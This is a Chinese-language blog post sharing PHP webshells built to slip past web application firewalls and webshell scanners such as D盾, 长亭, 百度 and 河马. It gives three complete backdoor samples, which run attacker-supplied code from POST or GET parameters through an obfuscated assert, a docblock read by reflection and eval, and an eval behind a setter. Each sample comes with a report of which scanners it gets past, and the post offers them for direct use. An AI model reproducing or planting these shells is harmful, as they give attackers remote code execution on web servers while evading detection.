php webshell免杀马

前言：最近有在系统的总计waf绕过内容和后缀的绕过。

在这个过程中发觉其实webshell的bypass手法还是蛮多的

后缀bypass总结完了 经过实战也绕过了一些waf

内容的还没写完 东西有点多

这里就分享一些php免杀的马 直接改即可 全过的也有贼多 但是暂时就不分享了 后面应该会分享一些asp和jsp的

版本限制

这里发的是除了百度以外全过的（当然有全过的 但是暂时不会发出来）

<?php

class get{
        public $x="";
        public $y="";
        public function setName($name=1){
                return $this -> name = $name;
        }
}
$obj = new get();
$s = $obj -> setName($name="ass");
$s = $s."ert";
$a = " $_POST[1]";
$b=null;
$s($b.$a);
?>

最新版D盾

长亭

百度没过

在线的 这个不建议使用 效果就离谱 其他都能查出的他不行

河马

版本未限制的

内容：

<?php  
    /**   
    * assert($_GET[1+0]);
    */  
    class User { }  
    $user = new ReflectionClass('User');
    $comment = $user->getDocComment();
    $d = substr($comment , 14 , 20);
    eval($d);
?>

d盾

长亭

百度

河马也不过

马内容：

<?php
class get{
        public $x="";
        public $y="";
        
        public function setName($name=1){
                return $this -> name = $name;
        }
}
$obj = new get();
$s = $obj -> setName($name="$_POST[1]");
eval($s);

bypass情况：

除百度其他的都过了

d盾

长亭的

百度

河马